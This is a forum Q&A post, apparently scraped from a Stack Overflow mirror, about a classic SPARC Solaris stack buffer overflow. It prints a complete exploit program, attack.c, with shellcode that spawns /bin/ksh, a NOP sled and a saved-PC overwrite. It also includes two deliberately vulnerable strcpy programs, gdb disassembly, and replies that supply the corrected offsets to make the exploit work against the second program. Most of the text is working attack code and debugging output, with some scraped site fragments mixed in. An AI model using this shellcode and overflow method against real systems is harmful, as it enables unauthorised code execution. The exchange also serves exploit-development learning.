/* attack.c */
/* compile: cc -o attack attack.c */
#include <stdlib.h>
#include <stdio.h>
/* lsd - Solaris shellcode */
static char shell[] = /* 10*4+8 bytes */
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh" ;
#define BUFSIZE 464
#define DUFSIZE 456
/* SPARC NOP */
static char np[] = "\xac\x15\xa1\x6e";
unsigned long get_sp( void ){ asm("or %sp,%sp,%i0"); }
main( int argc, char *argv[] ) {
char buf[ BUFSIZE+1 ],*ptr;
unsigned long ret,sp;
int rem,i,err;
ret = sp = get_sp();
/* align return address */
if( ( rem = ret % 8 ) ){ ret &= ~(rem); }
bzero( buf, BUFSIZE );
for(i = 0; i < BUFSIZE; i += 4)
strcpy( &buf[i], np );
memcpy( (buf + BUFSIZE - strlen( shell ) - 8), shell, strlen( shell ));
ptr = &buf[DUFSIZE];
/* set fp to a save stack value */
*( ptr++ ) = ( sp >> 24 ) & 0xff;
*( ptr++ ) = ( sp >> 16 ) & 0xff;
*( ptr++ ) = ( sp >> 8 ) & 0xff;
*( ptr++ ) = ( sp ) & 0xff;
/* overwrite saved PC */
*( ptr++ ) = ( ret >> 24 ) & 0xff;
*( ptr++ ) = ( ret >> 16 ) & 0xff;
*( ptr++ ) = ( ret >> 8 ) & 0xff;
*( ptr++ ) = ( ret ) & 0xff;
buf[ BUFSIZE ] = 0;
//err = execl( "./server1", "server1", buf, ( void *)0 );
err = execl( "./server2", "server2", buf, ( void *)0 );
if( err == -1 ) perror("execl");
}
Compiling and running attack.c, I'm able to exploiting the vulnerability in server1.c
/* server1.c */
/* compile: cc -o server1 server1.c */
void copy(const char *a){
char foo[400];
int i, j, k;
strcpy(foo, a);
i = 1;
}
void main(int argc, char *argv[]){
if(argc >=2 )copy( argv[1] );
}
But attack.c doesn't do the same with server2. Any idea why?
/* server2.c */
/* compile: cc -o server2 server2.c */
void copy2( const char *a ){
char buf[200];
int i, j, k;
strcpy(buf,a);
i = 1;
}
void copy1(const char *a){
char foo[200];
int i, j, k;
copy2(a);
i = 1;
}
void main( int argc, char *argv[] ) {
if (argc >=2 )copy1( argv[1] );
}
Here is the assembly for server2.c:
(gdb) disas copy2
Dump of assembler code for function copy2:
0x00010bd8 <copy2+0>: save %sp, -304, %sp
0x00010bdc <copy2+4>: add %fp, -200, %o0
0x00010be0 <copy2+8>: call 0x20ce8 <strcpy@plt>
0x00010be4 <copy2+12>: mov %i0, %o1
0x00010be8 <copy2+16>: mov 1, %l0
0x00010bec <copy2+20>: st %l0, [ %fp + -204 ]
0x00010bf0 <copy2+24>: ret
0x00010bf4 <copy2+28>: restore
0x00010bf8 <copy2+32>: ret
0x00010bfc <copy2+36>: restore
0x00010c00 <copy2+40>: illtrap 0x10000
0x00010c04 <copy2+44>: illtrap 0x10000
0x00010c08 <copy2+48>: illtrap 0x10000
0x00010c0c <copy2+52>: illtrap 0x10000
End of assembler dump.
(gdb) disas copy1
Dump of assembler code for function copy1:
0x00010c10 <copy1+0>: save %sp, -304, %sp
0x00010c14 <copy1+4>: call 0x10bd8 <copy2>
0x00010c18 <copy1+8>: mov %i0, %o0
0x00010c1c <copy1+12>: mov 1, %l0
0x00010c20 <copy1+16>: st %l0, [ %fp + -204 ]
0x00010c24 <copy1+20>: ret
0x00010c28 开发者_StackOverflow社区<copy1+24>: restore
0x00010c2c <copy1+28>: ret
0x00010c30 <copy1+32>: restore
0x00010c34 <copy1+36>: illtrap 0x10000
0x00010c38 <copy1+40>: illtrap 0x10000
0x00010c3c <copy1+44>: illtrap 0x10000
0x00010c40 <copy1+48>: illtrap 0x10000
0x00010c44 <copy1+52>: illtrap 0x10000
End of assembler dump.
(gdb) disas main
Dump of assembler code for function main:
0x00010c48 <main+0>: save %sp, -96, %sp
0x00010c4c <main+4>: cmp %i0, 2
0x00010c50 <main+8>: bl 0x10c68 <main+32>
0x00010c54 <main+12>: nop
0x00010c58 <main+16>: call 0x10c10 <copy1>
0x00010c5c <main+20>: ld [ %i1 + 4 ], %o0
0x00010c60 <main+24>: ret
0x00010c64 <main+28>: restore
0x00010c68 <main+32>: ret
0x00010c6c <main+36>: restore
End of assembler dump.
And for server1.c:
(gdb) disas copy
Dump of assembler code for function copy:
0x00010bc0 <copy+0>: save %sp, -504, %sp
0x00010bc4 <copy+4>: add %fp, -400, %o0
0x00010bc8 <copy+8>: call 0x20c98 <strcpy@plt>
0x00010bcc <copy+12>: mov %i0, %o1
0x00010bd0 <copy+16>: mov 1, %l0
0x00010bd4 <copy+20>: st %l0, [ %fp + -404 ]
0x00010bd8 <copy+24>: ret
0x00010bdc <copy+28>: restore
0x00010be0 <copy+32>: ret
0x00010be4 <copy+36>: restore
0x00010be8 <copy+40>: illtrap 0x10000
0x00010bec <copy+44>: illtrap 0x10000
0x00010bf0 <copy+48>: illtrap 0x10000
0x00010bf4 <copy+52>: illtrap 0x10000
End of assembler dump.
(gdb) disas main
Dump of assembler code for function main:
0x00010bf8 <main+0>: save %sp, -96, %sp
0x00010bfc <main+4>: cmp %i0, 2
0x00010c00 <main+8>: bl 0x10c18 <main+32>
0x00010c04 <main+12>: nop
0x00010c08 <main+16>: call 0x10bc0 <copy>
0x00010c0c <main+20>: ld [ %i1 + 4 ], %o0
0x00010c10 <main+24>: ret
0x00010c14 <main+28>: restore
0x00010c18 <main+32>: ret
0x00010c1c <main+36>: restore
End of assembler dump.
what do I need to modify in attack.c to make it exploit server2.c?
pfff... finally.
#define BUFSIZE 464
#define DUFSIZE 256
I thought the offset was 8, but it's 200 + 8.
Maybe the compiler doesn't allocate space for foo[]
in copy1()
because it's unused. The only way to know for sure is to look at the generated assembler code for your executables.
Based on my understanding since the copy2()
is the callee and copy1()
is the caller and the stack frame of copy1
is below copy2
, we find sum of bytes allocated to foo and buff which gives the size of the buffer. We then get the offset value by adding a value to size of buff. This value is obtained from calculating difference in addresses of the point where buffer overflow instruction is being called in the callee to the return address in the caller just after the call to callee is made since that is where we introduce the shell code.
Buffsize+32+32-8
精彩评论